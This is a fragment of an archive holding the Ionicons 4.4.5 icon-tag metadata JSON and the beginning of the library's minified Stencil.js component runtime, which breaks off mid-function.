y","sunny"]},{"icons":["ios-pause","md-pause"],"tags":["break","freeze","hold","music","pause"]},{"icons":["ios-paw","md-paw"],"tags":["paw"]},{"icons":["ios-people","md-people"],"tags":["head","human","people","person","stalker","users"]},{"icons":["ios-person-add","md-person-add"],"tags":["add","head","human","member","new","person","staff","users"]},{"icons":["ios-person","md-person"],"tags":["head","human","person","staff","users"]},{"icons":["ios-phone-landscape","md-phone-landscape"],"tags":["landscape","phone"]},{"icons":["ios-phone-portrait","md-phone-portrait"],"tags":["phone","portrait"]},{"icons":["ios-photos","md-photos"],"tags":["images","photos","square","stills"]},{"icons":["ios-pie","md-pie"],"tags":["cog","options","pie","settings"]},{"icons":["ios-pin","md-pin"],"tags":["gps","navigation","pin"]},{"icons":["ios-pint","md-pint"],"tags":["pint"]},{"icons":["ios-pizza","md-pizza"],"tags":["drink","eat","food","pizza"]},{"icons":["ios-planet","md-planet"],"tags":["globe","home","nature","planet","planet","space"]},{"icons":["ios-play-circle","md-play-circle"],"tags":["play"]},{"icons":["ios-play","md-play"],"tags":["arrow","music","play","right","watch"]},{"icons":["ios-podium","md-podium"],"tags":["award","compete","competition","lose","podium","win"]},{"icons":["ios-power","md-power"],"tags":["off","on","power"]},{"icons":["ios-pricetag","md-pricetag"],"tags":["$","commerce","items","money","pricetag","shopping"]},{"icons":["ios-pricetags","md-pricetags"],"tags":["$","commerce","items","money","pricetags","shopping"]},{"icons":["ios-print","md-print"],"tags":["print"]},{"icons":["ios-pulse","md-pulse"],"tags":["hot","live","pulse","rate"]},{"icons":["ios-qr-scanner","md-qr-scanner"],"tags":["qr","reader","scanner"]},{"icons":["ios-quote","md-quote"],"tags":["chat","quotation","quote"]},{"icons":["ios-radio-button-off","md-radio-button-off"],"tags":["button","off","radio"]},{"icons":["ios-radio-button-on","md-radio-button-on"],"tags":["button","on","radio"]},{"icons":["ios-radio","md-radio"],"tags":["radio"]},{"icons":["ios-rainy","md-rainy"],"tags":["cloud","rainy","water","weather","whether"]},{"icons":["ios-recording","md-recording"],"tags":["film","recording","tape","voicemail"]},{"icons":["ios-redo","md-redo"],"tags":["forward","redo"]},{"icons":["ios-refresh-circle","md-refresh-circle"],"tags":["circle","refresh"]},{"icons":["ios-refresh","md-refresh"],"tags":["refresh","reload","renew","reset"]},{"icons":["ios-remove-circle-outline","md-remove-circle-outline"],"tags":["remove"]},{"icons":["ios-remove-circle","md-remove-circle"],"tags":["circle","remove"]},{"icons":["ios-remove","md-remove"],"tags":["minus","remove","subtract"]},{"icons":["ios-reorder","md-reorder"],"tags":["reorder"]},{"icons":["ios-repeat","md-repeat"],"tags":["repeat"]},{"icons":["ios-resize","md-resize"],"tags":["resize"]},{"icons":["ios-restaurant","md-restaurant"],"tags":["restaurant"]},{"icons":["ios-return-left","md-return-left"],"tags":["left","return"]},{"icons":["ios-return-right","md-return-right"],"tags":["return","right"]},{"icons":["ios-reverse-camera","md-reverse-camera"],"tags":["camera","picture","reverse"]},{"icons":["ios-rewind","md-rewind"],"tags":["back","music","previous","rewind"]},{"icons":["ios-ribbon","md-ribbon"],"tags":["ribbon"]},{"icons":["ios-rocket","md-rocket"],"tags":["rocket"]},{"icons":["ios-rose","md-rose"],"tags":["rose"]},{"icons":["ios-sad","md-sad"],"tags":["bad","cry","no","sad"]},{"icons":["ios-save","md-save"],"tags":["save"]},{"icons":["ios-school","md-school"],"tags":["school"]},{"icons":["ios-search","md-search"],"tags":["magnifyingglass","search"]},{"icons":["ios-send","md-send"],"tags":["email","paper","send"]},{"icons":["ios-settings","md-settings"],"tags":["options","settings"]},{"icons":["ios-share-alt","md-share-alt"],"tags":["alt","share"]},{"icons":["ios-share","md-share"],"tags":["share"]},{"icons":["ios-shirt","md-shirt"],"tags":["shirt"]},{"icons":["ios-shuffle","md-shuffle"],"tags":["random","shuffle"]},{"icons":["ios-skip-backward","md-skip-backward"],"tags":["backward","music","previous","skip"]},{"icons":["ios-skip-forward","md-skip-forward"],"tags":["forward","music","next","skip"]},{"icons":["ios-snow","md-snow"],"tags":["snow"]},{"icons":["ios-speedometer","md-speedometer"],"tags":["drive","level","speed","speedometer"]},{"icons":["ios-square-outline","md-square-outline"],"tags":["square"]},{"icons":["ios-square","md-square"],"tags":["square"]},{"icons":["ios-star-half","md-star-half"],"tags":["favorite","half","rate","star"]},{"icons":["ios-star-outline","md-star-outline"],"tags":["star"]},{"icons":["ios-star","md-star"],"tags":["favorite","star"]},{"icons":["ios-stats","md-stats"],"tags":["stats"]},{"icons":["ios-stopwatch","md-stopwatch"],"tags":["stopwatch"]},{"icons":["ios-subway","md-subway"],"tags":["subway"]},{"icons":["ios-sunny","md-sunny"],"tags":["light","sky","sunny","weather","whether"]},{"icons":["ios-swap","md-swap"],"tags":["swap"]},{"icons":["ios-switch","md-switch"],"tags":["switch"]},{"icons":["ios-sync","md-sync"],"tags":["sync"]},{"icons":["ios-tablet-landscape","md-tablet-landscape"],"tags":["landscape","tablet"]},{"icons":["ios-tablet-portrait","md-tablet-portrait"],"tags":["portrait","tablet"]},{"icons":["ios-tennisball","md-tennisball"],"tags":["tennisball"]},{"icons":["ios-text","md-text"],"tags":["text"]},{"icons":["ios-thermometer","md-thermometer"],"tags":["cold","heat","hot","mercury","temperature","thermometer"]},{"icons":["ios-thumbs-down","md-thumbs-down"],"tags":["down","thumbs"]},{"icons":["ios-thumbs-up","md-thumbs-up"],"tags":["thumbs","up"]},{"icons":["ios-thunderstorm","md-thunderstorm"],"tags":["cloudy","lightning","overcast","rain","sky","storm","thunderstorm","weather","whether"]},{"icons":["ios-time","md-time"],"tags":["clock","hour","minute","second","time","watch"]},{"icons":["ios-timer","md-timer"],"tags":["clock","timer"]},{"icons":["ios-today","md-today"],"tags":["today"]},{"icons":["ios-train","md-train"],"tags":["train"]},{"icons":["ios-transgender","md-transgender"],"tags":["transgender"]},{"icons":["ios-trash","md-trash"],"tags":["close","delete","remove","trash"]},{"icons":["ios-trending-down","md-trending-down"],"tags":["down","trending"]},{"icons":["ios-trending-up","md-trending-up"],"tags":["trending","up"]},{"icons":["ios-trophy","md-trophy"],"tags":["award","compete","competition","lose","trophy","win"]},{"icons":["ios-tv","md-tv"],"tags":["television","tv"]},{"icons":["ios-umbrella","md-umbrella"],"tags":["dry","rain","shelter","umbrella","wet"]},{"icons":["ios-undo","md-undo"],"tags":["reply","undo"]},{"icons":["ios-unlock","md-unlock"],"tags":["unlock"]},{"icons":["ios-videocam","md-videocam"],"tags":["camera","film","movie","videocam"]},{"icons":["ios-volume-high","md-volume-high"],"tags":["volume"]},{"icons":["ios-volume-low","md-volume-low"],"tags":["volume"]},{"icons":["ios-volume-mute","md-volume-mute"],"tags":["mute","sound","volume"]},{"icons":["ios-volume-off","md-volume-off"],"tags":["off","volume"]},{"icons":["ios-wallet","md-wallet"],"tags":["cash","money","wallet"]},{"icons":["ios-walk","md-walk"],"tags":["walk"]},{"icons":["ios-warning","md-warning"],"tags":["warning"]},{"icons":["ios-watch","md-watch"],"tags":["watch"]},{"icons":["ios-water","md-water"],"tags":["water"]},{"icons":["ios-wifi","md-wifi"],"tags":["bars","connection","internet","wifi"]},{"icons":["ios-wine","md-wine"],"tags":["wine"]},{"icons":["ios-woman","md-woman"],"tags":["dudette","female","girl","lady","woman"]},{"icons":["logo-android"],"tags":["android"]},{"icons":["logo-angular"],"tags":["angular"]},{"icons":["logo-apple"],"tags":["apple"]},{"icons":["logo-bitbucket"],"tags":["bitbucket"]},{"icons":["logo-bitcoin"],"tags":["bitcoin"]},{"icons":["logo-buffer"],"tags":["buffer"]},{"icons":["logo-chrome"],"tags":["chrome"]},{"icons":["logo-closed-captioning"],"tags":["closed-captioning"]},{"icons":["logo-codepen"],"tags":["codepen"]},{"icons":["logo-css3"],"tags":["css3"]},{"icons":["logo-designernews"],"tags":["designernews"]},{"icons":["logo-dribbble"],"tags":["dribbble"]},{"icons":["logo-dropbox"],"tags":["dropbox"]},{"icons":["logo-euro"],"tags":["euro"]},{"icons":["logo-facebook"],"tags":["facebook"]},{"icons":["logo-flickr"],"tags":["flickr"]},{"icons":["logo-foursquare"],"tags":["foursquare"]},{"icons":["logo-freebsd-devil"],"tags":["freebsd-devil"]},{"icons":["logo-game-controller-a"],"tags":["controller","game"]},{"icons":["logo-game-controller-b"],"tags":["controller","game"]},{"icons":["logo-github"],"tags":["github"]},{"icons":["logo-google"],"tags":["google"]},{"icons":["logo-googleplus"],"tags":["googleplus"]},{"icons":["logo-hackernews"],"tags":["hackernews"]},{"icons":["logo-html5"],"tags":["html5"]},{"icons":["logo-instagram"],"tags":["instagram"]},{"icons":["logo-ionic"],"tags":["ionic"]},{"icons":["logo-ionitron"],"tags":["ionitron"]},{"icons":["logo-javascript"],"tags":["javascript"]},{"icons":["logo-linkedin"],"tags":["linkedin"]},{"icons":["logo-markdown"],"tags":["markdown"]},{"icons":["logo-model-s"],"tags":["model-s"]},{"icons":["logo-no-smoking"],"tags":["no-smoking"]},{"icons":["logo-nodejs"],"tags":["nodejs"]},{"icons":["logo-npm"],"tags":["npm"]},{"icons":["logo-octocat"],"tags":["octocat"]},{"icons":["logo-pinterest"],"tags":["pinterest"]},{"icons":["logo-playstation"],"tags":["playstation"]},{"icons":["logo-polymer"],"tags":["polymer"]},{"icons":["logo-python"],"tags":["python"]},{"icons":["logo-reddit"],"tags":["reddit"]},{"icons":["logo-rss"],"tags":["rss"]},{"icons":["logo-sass"],"tags":["sass"]},{"icons":["logo-skype"],"tags":["skype"]},{"icons":["logo-slack"],"tags":["slack"]},{"icons":["logo-snapchat"],"tags":["snapchat"]},{"icons":["logo-steam"],"tags":["steam"]},{"icons":["logo-tumblr"],"tags":["tumblr"]},{"icons":["logo-tux"],"tags":["tux"]},{"icons":["logo-twitch"],"tags":["twitch"]},{"icons":["logo-twitter"],"tags":["twitter"]},{"icons":["logo-usd"],"tags":["usd"]},{"icons":["logo-vimeo"],"tags":["vimeo"]},{"icons":["logo-vk"],"tags":["vk"]},{"icons":["logo-whatsapp"],"tags":["whatsapp"]},{"icons":["logo-windows"],"tags":["windows"]},{"icons":["logo-wordpress"],"tags":["wordpress"]},{"icons":["logo-xbox"],"tags":["xbox"]},{"icons":["logo-xing"],"tags":["xing"]},{"icons":["logo-yahoo"],"tags":["yahoo"]},{"icons":["logo-yen"],"tags":["yen"]},{"icons":["logo-youtube"],"tags":["youtube"]}],"version":"4.4.5"}ionicons/ionicons.uhp57gzi.js000064400000042157151701353760012246 0ustar00/*! Built with http://stenciljs.com */
(function(Context,namespace,hydratedCssClass,resourcesUrl,s){"use strict";
s=document.querySelector("script[data-namespace='ionicons']");if(s){resourcesUrl=s.getAttribute('data-resources-url');}
(function(t,e,n,o){"use strict";function i(t,e){return"sc-"+t.t+(e&&e!==N?"-"+e:"")}function c(t,e){return t+(e?"-h":"-s")}function f(t,e,n,o){let c=n.t+o.mode,f=n[c];if((2===n.e||1===n.e&&!t.o.n)&&(o["s-sc"]=f?i(n,o.mode):i(n)),f||(f=n[c=n.t+N]),f){let i=e.i.head;if(e.n)if(1===n.e)i=o.shadowRoot;else{let t=o;for(;t=e.c(t);)if(t.host&&t.host.shadowRoot){i=t.host.shadowRoot;break}}let r=t.f.get(i);if(r||t.f.set(i,r={}),!r[c]){let t;{t=f.content.cloneNode(!0),r[c]=!0;const n=i.querySelectorAll("[data-styles]");e.r(i,t,n.length&&n[n.length-1].nextSibling||i.firstChild)}}}}function r(t,e,n,o="boolean"==typeof n){const i=e!==(e=e.replace(/^xlink\:?/,""));null==n||o&&(!n||"false"===n)?i?t.removeAttributeNS(D,T(e)):t.removeAttribute(e):"function"!=typeof n&&(n=o?"":n.toString(),i?t.setAttributeNS(D,T(e),n):t.setAttribute(e,n))}function s(t,e,n,o,i,c,f){if("class"!==n||c)if("style"===n){for(const t in o)i&&null!=i[t]||(/-/.test(t)?e.style.s(t):e.style[t]="");for(const t in i)o&&i[t]===o[t]||(/-/.test(t)?e.style.setProperty(t,i[t]):e.style[t]=i[t])}else if("o"!==n[0]||"n"!==n[1]||!/[A-Z]/.test(n[2])||n in e)if("list"!==n&&"type"!==n&&!c&&(n in e||-1!==["object","function"].indexOf(typeof i)&&null!==i)){const o=t.l(e);o&&o.u&&o.u[n]?(u(e,n,i),f&&o.u[n].a&&r(e,o.u[n].p,i,4===o.u[n].d)):"ref"!==n&&(u(e,n,null==i?"":i),null!=i&&!1!==i||t.o.v(e,n))}else null!=i&&"key"!==n?r(e,n,i):(c||t.o.m(e,n)&&(null==i||!1===i))&&t.o.v(e,n);else n=T(n)in e?T(n.substring(2)):T(n[2])+n.substring(3),i?i!==o&&t.o.b(e,n,i):t.o.y(e,n);else if(o!==i){const t=l(o),n=l(i),c=t.filter(t=>!n.includes(t)),f=l(e.className).filter(t=>!c.includes(t)),r=n.filter(e=>!t.includes(e)&&!f.includes(e));f.push(...r),e.className=f.join(" ")}}function l(t){return null==t||""===t?[]:t.trim().split(/\s+/)}function u(t,e,n){try{t[e]=n}catch(t){}}function a(t,e,n,o,i){const c=11===n.w.nodeType&&n.w.host?n.w.host:n.w,f=e&&e.vattrs||S,r=n.vattrs||S;for(i in f)r&&null!=r[i]||null==f[i]||s(t,c,i,f[i],void 0,o,n.g);for(i in r)i in f&&r[i]===("value"===i||"checked"===i?c[i]:f[i])||s(t,c,i,f[i],r[i],o,n.g)}function p(t,e){function n(i,c,f,r,s,p,y,h,w){if(h=c.vchildren[f],l||(d=!0,"slot"===h.vtag&&(u&&e.M(r,u+"-s"),h.vchildren?h.k=!0:h.C=!0)),R(h.vtext))h.w=e.j(h.vtext);else if(h.C)h.w=e.j("");else{if(p=h.w=P||"svg"===h.vtag?e.O("http://www.w3.org/2000/svg",h.vtag):e.x(h.k?"slot-fb":h.vtag),t.W(p)&&t.N.delete(b),P="svg"===h.vtag||"foreignObject"!==h.vtag&&P,a(t,null,h,P),R(u)&&p["s-si"]!==u&&e.M(p,p["s-si"]=u),h.vchildren)for(s=0;s<h.vchildren.length;++s)(y=n(i,h,s,p))&&e.S(p,y);"svg"===h.vtag&&(P=!1)}return h.w["s-hn"]=m,(h.k||h.C)&&(h.w["s-sr"]=!0,h.w["s-cr"]=v,h.w["s-sn"]=h.vname||"",(w=i&&i.vchildren&&i.vchildren[f])&&w.vtag===h.vtag&&i.w&&o(i.w)),h.w}function o(n,i,c,f){t.A=!0;const l=e.R(n);for(c=l.length-1;c>=0;c--)(f=l[c])["s-hn"]!==m&&f["s-ol"]&&(e.T(f),e.r(s(f),f,r(f)),e.T(f["s-ol"]),f["s-ol"]=null,d=!0),i&&o(f,i);t.A=!1}function i(t,o,i,c,f,s,l,u){const a=t["s-cr"];for((l=a&&e.c(a)||t).shadowRoot&&e.L(l)===m&&(l=l.shadowRoot);f<=s;++f)c[f]&&(u=R(c[f].vtext)?e.j(c[f].vtext):n(null,i,f,t))&&(c[f].w=u,e.r(l,u,r(o)))}function c(t,n,i,c){for(;n<=i;++n)R(t[n])&&(c=t[n].w,p=!0,c["s-ol"]?e.T(c["s-ol"]):o(c,!0),e.T(c))}function f(t,e){return t.vtag===e.vtag&&t.vkey===e.vkey&&("slot"!==t.vtag||t.vname===e.vname)}function r(t){return t&&t["s-ol"]?t["s-ol"]:t}function s(t){return e.c(t["s-ol"]?t["s-ol"]:t)}let l,u,p,d,v,m,b;const y=[];return function h(w,$,g,M,k,C,j,O,x,W,E,N){if(b=w,m=e.L(b),v=b["s-cr"],l=M,u=b["s-sc"],d=p=!1,function l(u,p,d){const v=p.w=u.w,m=u.vchildren,b=p.vchildren;P=p.w&&R(e.D(p.w))&&void 0!==p.w.ownerSVGElement,P="svg"===p.vtag||"foreignObject"!==p.vtag&&P,R(p.vtext)?(d=v["s-cr"])?e.P(e.c(d),p.vtext):u.vtext!==p.vtext&&e.P(v,p.vtext):("slot"!==p.vtag&&a(t,u,p,P),R(m)&&R(b)?function y(t,u,a,p,d,v,m,b){let y=0,h=0,w=u.length-1,$=u[0],g=u[w],M=p.length-1,k=p[0],C=p[M];for(;y<=w&&h<=M;)if(null==$)$=u[++y];else if(null==g)g=u[--w];else if(null==k)k=p[++h];else if(null==C)C=p[--M];else if(f($,k))l($,k),$=u[++y],k=p[++h];else if(f(g,C))l(g,C),g=u[--w],C=p[--M];else if(f($,C))"slot"!==$.vtag&&"slot"!==C.vtag||o(e.c($.w)),l($,C),e.r(t,$.w,e.q(g.w)),$=u[++y],C=p[--M];else if(f(g,k))"slot"!==$.vtag&&"slot"!==C.vtag||o(e.c(g.w)),l(g,k),e.r(t,g.w,$.w),g=u[--w],k=p[++h];else{for(d=null,v=y;v<=w;++v)if(u[v]&&R(u[v].vkey)&&u[v].vkey===k.vkey){d=v;break}R(d)?((b=u[d]).vtag!==k.vtag?m=n(u&&u[h],a,d,t):(l(b,k),u[d]=void 0,m=b.w),k=p[++h]):(m=n(u&&u[h],a,h,t),k=p[++h]),m&&e.r(s($.w),m,r($.w))}y>w?i(t,null==p[M+1]?null:p[M+1].w,a,p,h,M):h>M&&c(u,y,w)}(v,m,p,b):R(b)?(R(u.vtext)&&e.P(v,""),i(v,null,p,b,0,b.length-1)):R(m)&&c(m,0,m.length-1)),P&&"svg"===p.vtag&&(P=!1)}($,g),d){for(function t(n,o,i,c,f,r,s,l,u,a){for(f=0,r=(o=e.R(n)).length;f<r;f++){if((i=o[f])["s-sr"]&&(c=i["s-cr"]))for(l=e.R(e.c(c)),u=i["s-sn"],s=l.length-1;s>=0;s--)(c=l[s])["s-cn"]||c["s-nr"]||c["s-hn"]===i["s-hn"]||((3===(a=e.B(c))||8===a)&&""===u||1===a&&null===e.I(c,"slot")&&""===u||1===a&&e.I(c,"slot")===u)&&(y.some(t=>t.F===c)||(p=!0,c["s-sn"]=u,y.push({H:i,F:c})));1===e.B(i)&&t(i)}}(g.w),j=0;j<y.length;j++)(O=y[j]).F["s-ol"]||((x=e.j(""))["s-nr"]=O.F,e.r(e.c(O.F),O.F["s-ol"]=x,O.F));for(t.A=!0,j=0;j<y.length;j++){for(O=y[j],E=e.c(O.H),N=e.q(O.H),x=O.F["s-ol"];x=e.U(x);)if((W=x["s-nr"])&&W&&W["s-sn"]===O.F["s-sn"]&&E===e.c(W)&&(W=e.q(W))&&W&&!W["s-nr"]){N=W;break}(!N&&E!==e.c(O.F)||e.q(O.F)!==N)&&O.F!==N&&(e.T(O.F),e.r(E,O.F,N))}t.A=!1}return p&&function t(n,o,i,c,f,r,s,l){for(c=0,f=(i=e.R(n)).length;c<f;c++)if(o=i[c],1===e.B(o)){if(o["s-sr"])for(s=o["s-sn"],o.hidden=!1,r=0;r<f;r++)if(i[r]["s-hn"]!==o["s-hn"])if(l=e.B(i[r]),""!==s){if(1===l&&s===e.I(i[r],"slot")){o.hidden=!0;break}}else if(1===l||3===l&&""!==e.Q(i[r]).trim()){o.hidden=!0;break}t(o)}}(g.w),y.length=0,g}}function d(t,e){t&&(t.vattrs&&t.vattrs.ref&&t.vattrs.ref(e?null:t.w),t.vchildren&&t.vchildren.forEach(t=>{d(t,e)}))}function v(t,e,n,o,i){const c=t.B(e);let f,r,s,l;if(i&&1===c){(r=t.I(e,E))&&(s=r.split("."))[0]===o&&((l={}).vtag=t.L(l.w=e),n.vchildren||(n.vchildren=[]),n.vchildren[s[1]]=l,n=l,i=""!==s[2]);for(let c=0;c<e.childNodes.length;c++)v(t,e.childNodes[c],n,o,i)}else 3===c&&(f=e.previousSibling)&&8===t.B(f)&&"s"===(s=t.Q(f).split("."))[0]&&s[1]===o&&((l={vtext:t.Q(e)}).w=e,n.vchildren||(n.vchildren=[]),n.vchildren[s[2]]=l)}function m(t,e){let n,o,i=null,c=!1,f=!1;for(var r=arguments.length;r-- >2;)q.push(arguments[r]);for(;q.length>0;){let e=q.pop();if(e&&void 0!==e.pop)for(r=e.length;r--;)q.push(e[r]);else"boolean"==typeof e&&(e=null),(f="function"!=typeof t)&&(null==e?e="":"number"==typeof e?e=String(e):"string"!=typeof e&&(f=!1)),f&&c?i[i.length-1].vtext+=e:null===i?i=[f?{vtext:e}:e]:i.push(f?{vtext:e}:e),c=f}if(null!=e){if(e.className&&(e.class=e.className),"object"==typeof e.class){for(r in e.class)e.class[r]&&q.push(r);e.class=q.join(" "),q.length=0}null!=e.key&&(n=e.key),null!=e.name&&(o=e.name)}return"function"==typeof t?t(e,i||[],B):{vtag:t,vchildren:i,vtext:void 0,vattrs:e,vkey:n,vname:o,w:void 0,g:!1}}function b(t){return{vtag:t.vtag,vchildren:t.vchildren,vtext:t.vtext,vattrs:t.vattrs,vkey:t.vkey,vname:t.vname}}function y(t){const[e,n,,o,i,c]=t,f={color:{p:"color"}};if(o)for(let t=0;t<o.length;t++){const e=o[t];f[e[0]]={Z:e[1],a:!!e[2],p:"string"==typeof e[3]?e[3]:e[3]?e[0]:0,d:e[4]}}return{t:e,z:n,u:Object.assign({},f),e:i,G:c?c.map(h):void 0}}function h(t){return{J:t[0],K:t[1],V:!!t[2],X:!!t[3],Y:!!t[4]}}function w(t,e){if(R(e)&&"object"!=typeof e&&"function"!=typeof e){if(t===Boolean||4===t)return"false"!==e&&(""===e||!!e);if(t===Number||8===t)return parseFloat(e);if(t===String||2===t)return e.toString()}return e}function $(t,e){t._.add(e),t.tt.has(e)||(t.tt.set(e,!0),t.et?t.queue.write(()=>g(t,e)):t.queue.tick(()=>g(t,e)))}async function g(t,e,n,o,i){if(t.tt.delete(e),!t.nt.has(e)){if(o=t.ot.get(e)){if(o)try{o.componentWillUpdate&&await o.componentWillUpdate()}catch(n){t.it(n,5,e)}}else{if((i=t.ct.get(e))&&!i["s-rn"])return void(i["s-rc"]=i["s-rc"]||[]).push(()=>{g(t,e)});if(o=function f(t,e,n,o,i,c,r){try{o=new(i=t.l(e).ft),function s(t,e,n,o,i){t.rt.set(o,n),t.st.has(n)||t.st.set(n,{}),Object.entries(Object.assign({color:{type:String}},e.properties,{mode:{type:String}})).forEach(([e,c])=>{(function f(t,e,n,o,i,c,r,s){if(e.type||e.state){const f=t.st.get(n);e.state||(!e.attr||void 0!==f[i]&&""!==f[i]||(r=c&&c.lt)&&R(s=r[e.attr])&&(f[i]=w(e.type,s)),n.hasOwnProperty(i)&&(void 0===f[i]&&(f[i]=w(e.type,n[i])),"mode"!==i&&delete n[i])),o.hasOwnProperty(i)&&void 0===f[i]&&(f[i]=o[i]),e.watchCallbacks&&(f[I+i]=e.watchCallbacks.slice()),C(o,i,function l(e){return(e=t.st.get(t.rt.get(this)))&&e[i]},function u(n,o){(o=t.rt.get(this))&&(e.state||e.mutable)&&M(t,o,i,n)})}else if(e.elementRef)k(o,i,n);else if(e.context){const c=t.ut(e.context);void 0!==c&&k(o,i,c.at&&c.at(n)||c)}})(t,c,n,o,e,i)})}(t,i,e,o,n)}catch(n){o={},t.it(n,7,e,!0)}return t.ot.set(e,o),o}(t,e,t.pt.get(e)))try{o.componentWillLoad&&await o.componentWillLoad()}catch(n){t.it(n,3,e)}}(function r(t,e,n,o){try{const i=e.ft.host,f=e.ft.encapsulation,r="shadow"===f&&t.o.n;let s,l=n;if(s=function i(t,e,n){return t&&Object.keys(t).forEach(o=>{t[o].reflectToAttr&&((n=n||{})[o]=e[o])}),n}(e.ft.properties,o),r&&(l=n.shadowRoot),!n["s-rn"]){t.dt(t,t.o,e,n);const o=n["s-sc"];o&&(t.o.M(n,c(o,!0)),"scoped"===f&&t.o.M(n,c(o)))}if(o.render||o.hostData||i||s){t.vt=!0;const e=o.render&&o.render();let i;i=o.hostData&&o.hostData(),s&&(i=i?Object.assign(i,s):s),t.vt=!1;const c=t.mt.get(n)||{};c.w=l;const u=m(null,i,e);u.g=!0,t.mt.set(n,t.render(n,c,u,r,f))}n["s-rn"]=!0,n["s-rc"]&&(n["s-rc"].forEach(t=>t()),n["s-rc"]=null)}catch(e){t.vt=!1,t.it(e,8,n,!0)}})(t,t.l(e),e,o),e["s-init"]()}}function M(t,e,n,o,i){let c=t.st.get(e);c||t.st.set(e,c={});const f=c[n];if(o!==f&&(c[n]=o,i=t.ot.get(e))){{const t=c[I+n];if(t)for(let e=0;e<t.length;e++)try{i[t[e]].call(i,o,f,n)}catch(t){}}!t.vt&&e["s-rn"]&&$(t,e)}}function k(t,e,n){Object.defineProperty(t,e,{configurable:!0,value:n})}function C(t,e,n,o){Object.defineProperty(t,e,{configurable:!0,get:n,set:o})}function j(t,e,n,o,i,c){if(t._.delete(e),(i=t.ct.get(e))&&((o=i["s-ld"])&&((n=o.indexOf(e))>-1&&o.splice(n,1),o.length||i["s-init"]&&i["s-init"]()),t.ct.delete(e)),t.bt.length&&!t._.size)for(;c=t.bt.shift();)c()}function O(t,e,n,o){if(n.connectedCallback=function(){(function n(t,e,o){t.nt.delete(o),t.yt.has(o)||(t._.add(o),t.yt.set(o,!0),o["s-id"]||(o["s-id"]=t.ht()),function i(t,e,n){for(n=e;n=t.o.D(n);)if(t.W(n)){t.N.has(e)||(t.ct.set(e,n),(n["s-ld"]=n["s-ld"]||[]).push(e));break}}(t,o),t.queue.tick(()=>{t.pt.set(o,function n(t,e,o,i,c){return o.mode||(o.mode=t.wt(o)),o["s-cr"]||t.I(o,W)||t.n&&1===e.e||(o["s-cr"]=t.j(""),o["s-cr"]["s-cn"]=!0,t.r(o,o["s-cr"],t.R(o)[0])),t.n||1!==e.e||(o.shadowRoot=o),1===e.e&&t.n&&!o.shadowRoot&&t.$t(o,{mode:"open"}),i={gt:o["s-id"],lt:{}},e.u&&Object.keys(e.u).forEach(n=>{(c=e.u[n].p)&&(i.lt[c]=t.I(o,c))}),i}(t.o,e,o)),t.Mt(e,o)}))})(t,e,this)},n.disconnectedCallback=function(){(function e(t,n){if(!t.A&&function o(t,e){for(;e;){if(!t.c(e))return 9!==t.B(e);e=t.c(e)}}(t.o,n)){t.nt.set(n,!0),j(t,n),d(t.mt.get(n),!0),t.o.y(n),t.kt.delete(n);{const e=t.ot.get(n);e&&e.componentDidUnload&&e.componentDidUnload()}[t.ct,t.Ct,t.pt].forEach(t=>t.delete(n))}})(t,this)},n["s-init"]=function(){(function e(t,n,o,i,c,f){if(t.ot.get(n)&&!t.nt.has(n)&&(!n["s-ld"]||!n["s-ld"].length)){t.N.set(n,!0),t.jt.has(n)||(t.jt.set(n,!0),n["s-ld"]=void 0,t.o.M(n,o));try{d(t.mt.get(n)),(c=t.Ct.get(n))&&(c.forEach(t=>t(n)),t.Ct.delete(n))}catch(e){t.it(e,4,n)}j(t,n)}})(t,this,o)},n.forceUpdate=function(){$(t,this)},e.u){const o=Object.entries(e.u);{let t={};o.forEach(([e,{p:n}])=>{n&&(t[n]=e)}),t=Object.assign({},t),n.attributeChangedCallback=function(e,n,o){(function i(t,e,n,o){const i=t[T(n)];i&&(e[i]=o)})(t,this,e,o)}}(function i(t,e,n){e.forEach(([e,o])=>{const i=o.Z;3&i?C(n,e,function n(){return(t.st.get(this)||{})[e]},function n(i){M(t,this,e,w(o.d,i))}):32===i&&k(n,e,L)})})(t,o,n)}}function x(t,e,n,o){return function(){const i=arguments;return function c(t,e,n){let o=e[n];const i=t.i.body;return i?(o||(o=i.querySelector(n)),o||(o=e[n]=t.x(n),t.S(i,o)),o.componentOnReady()):Promise.resolve()}(t,e,n).then(t=>t[o].apply(t,i))}}const W="ssrv",E="ssrc",N="$",S={},A={enter:13,escape:27,space:32,tab:9,left:37,up:38,right:39,down:40},R=t=>null!=t,T=t=>t.toLowerCase(),L=()=>{},D="http://www.w3.org/1999/xlink";let P=!1;const q=[],B={forEach:(t,e)=>{t.forEach((t,n,o)=>e(b(t),n,o))},map:(t,e)=>t.map((t,n,o)=>(function i(t){return{vtag:t.vtag,vchildren:t.vchildren,vtext:t.vtext,vattrs:t.vattrs,vkey:t.vkey,vname:t.vname}})(e(b(t),n,o)))},I="wc-";(function F(t,e,n,o,i,c){function r(t,e){const o=t.t;n.customElements.get(o)||(O(w,s[o]=t,e.prototype,c),e.observedAttributes=Object.values(t.u).map(t=>t.p).filter(t=>!!t),n.customElements.define(t.t,e))}const s={html:{}},l={},u=n[t]=n[t]||{},a=function d(t,e,n){t.ael||(t.ael=((t,e,n,o)=>t.addEventListener(e,n,o)),t.rel=((t,e,n,o)=>t.removeEventListener(e,n,o)));const o=new WeakMap,i={i:n,n:!!n.documentElement.attachShadow,Ot:!1,B:t=>t.nodeType,x:t=>n.createElement(t),O:(t,e)=>n.createElementNS(t,e),j:t=>n.createTextNode(t),xt:t=>n.createComment(t),r:(t,e,n)=>t.insertBefore(e,n),T:t=>t.remove(),S:(t,e)=>t.appendChild(e),M:(t,e)=>{t.classList.add(e)},R:t=>t.childNodes,c:t=>t.parentNode,q:t=>t.nextSibling,U:t=>t.previousSibling,L:t=>T(t.nodeName),Q:t=>t.textContent,P:(t,e)=>t.textContent=e,I:(t,e)=>t.getAttribute(e),Wt:(t,e,n)=>t.setAttribute(e,n),Et:(t,e,n,o)=>t.setAttributeNS(e,n,o),v:(t,e)=>t.removeAttribute(e),m:(t,e)=>t.hasAttribute(e),wt:e=>e.getAttribute("mode")||(t.Context||{}).mode,Nt:(t,o)=>"child"===o?t.firstElementChild:"parent"===o?i.D(t):"body"===o?n.body:"document"===o?n:"window"===o?e:t,b:(e,n,c,f,r,s,l,u)=>{const a=n;let p=e,d=o.get(e);if(d&&d[a]&&d[a](),"string"==typeof s?p=i.Nt(e,s):"object"==typeof s?p=s:(u=n.split(":")).length>1&&(p=i.Nt(e,u[0]),n=u[1]),!p)return;let 